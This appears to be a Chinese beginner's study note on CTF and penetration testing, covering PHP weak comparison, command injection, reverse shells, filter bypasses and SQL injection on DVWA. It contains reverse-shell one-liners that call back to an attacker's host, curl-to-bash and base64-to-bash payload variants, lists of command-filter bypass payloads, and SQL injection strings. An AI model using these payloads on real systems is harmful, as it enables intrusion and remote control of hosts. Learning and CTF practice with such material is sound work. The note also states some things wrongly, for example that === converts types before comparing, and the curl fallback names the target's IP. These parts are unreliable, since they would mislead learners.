0%

CTF&渗透一些基础入门学习

弱类型

弱类型分为两种
·一种是弱等于号 ==
·一种是强等于号 ===
弱等于号 == 在进行比较的时候会进行类型转换,再进行比较
强等于号 === 在进行比较的时候,会先将字符串类型转换为相同类型,再进行比较
如果是比较数字和字符串,或涉及到数字内容的字符串, 字符串会被转换成数值,并按照比较数值来进行比较

命令执行漏洞

·命令执行是一种攻击,通过易受攻击的应用程序在主机操作系统上执行恶意命令。当用户可以控制执行函数中的参数时,可将恶意命令注入到正常命令中,从而导致命令执行漏洞。
·命令注入是常见的漏洞形态。一旦存在命令注入漏洞,攻击者可以在目标系统里执行任意命令。命令注入常用在向系统传入不安全的参数(命令执行参数、http头、cookie)
·命令执行继承Web Server用户的权限,一般都有权限写木马、存木马,查看隐私信息、窃取源码,反弹shell,危害很大
Linux系统的文件通常有三种权限:

  1. 读权限:r 用数字代表4
  2. 写权限:w 用数字代表2
  3. 执行权限:x 用数字代表1
    分别对当前的用户、同组其他用户、其他用户进行权限分配
    chmod 可以进行权限分配

ps-ef 查看进程

kill 进程号 杀死进程
kill -9 进程号 强制杀死进程
killall 进程名 杀死进程

杀死不死马

ps -ef |grep “木马名”
kill -9 进程号

漏洞利用点

程序过滤不严谨,用户可以将代码注入并执行
高危函数eval()、assert()、preg_replace()、call_user_func()等等

执行命令的函数,参数过滤不严谨,导致直接命令执行
如system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()等等
反引号是shell_exec()的别名

1
echo `ls` 同等于 shell_exec('ls')

换行符

%a,%d,%20,|,& 都可以试试

反弹shell

渗透机电脑nc一个端口

1
nc -lvp 8888

靶机执行

1
bash -i >& /dev/tcp/渗透机的公网IP/8888 0>&1

如果没弹成功可以试试

1
curl 靶机的公网IP:8888 |bash

或者还可以对

1
bash -i >& /dev/tcp/渗透机的公网IP/8888 0>&1

进行base64加密,然后再

1
|base64 -d |bash

也能达到同样的效果

过滤

过滤空格

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%20
%09

都可以试试

过滤关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
ca\t fla\g.php 反斜杠绕过
cat f''lag.php 单引号绕过
echo "命令" | base64 -d | bash 管道绕过/base64编码绕过
echo "命令" | xxd -r -p | bash 管道绕过/xxd编码绕过,若为hex,xxd写成hexd
cat flag* *匹配任意,或者?匹配任意一个字母
cat fla[a-z]g.php 用[]匹配,可以匹配一个区间的字母,只显示一个字母的结果
cat fla{a-z}g.php 内联执行
cat fla{f..h}.php 这个命令会把f到h的所有字母都匹配一遍 并输出所有结果
cat `ls` 查看当前目录下的所有文件
?> 可以结束php语句
<?= 短标签,同等于echo
`/???/???%20*`; 可以匹配任意命令
/bin/cat * 可以查看任意文件

SQL注入

首先判断是字符型还是数字型
拿dvwa靶场做测试

1
1' and 1='2

此时执行的SQL结果其实是

1
select * from users where user_id='1' and '1'='2';

这个结果是恒为假的,1不会等于2,所以不会返回任何数据
如果输入

1
1' or '1234' = '1234'

此时执行的SQL结果其实是

1
select * from users where user_id='1' or '1234' = '1234';

查询条件是恒为真的,所以会返回所有的数据

1
1' or 1=1 order by 1#

查询SQL里的字段数
sql语句为

1
where userid='1'or 1=1#'

SQL注入的框里面都是where条件,具体根据题目,dvwa里面是userid
所以SQL语句是这样一种形式

1
where userid='xxxxxx'  //把条件加入到''里面,变成where userid='1' or 1=1#',1=1条件恒成立,所以能查询到所有数据,后面的'拿#注释掉

order by 对查询出的数据进行排序
有两个参数

  1. 字段名
  2. 排序方式
    1
    2
    order by 1 asc  //升序
    order by 1 desc //降序
    order by 1 是对查询出的数据的第一列进行排序,也可以直接指定列名
    例如mysql中用1和Host是一样的效果

SQL注入的类型

有回显

联合查询

构造联合查询语句,直接查看查询结果

报错注入

构造报错语句

堆查询

多行语句执行,达到想要的目的

无回显

盲注

布尔型/时间型 通过某种手段爆破结果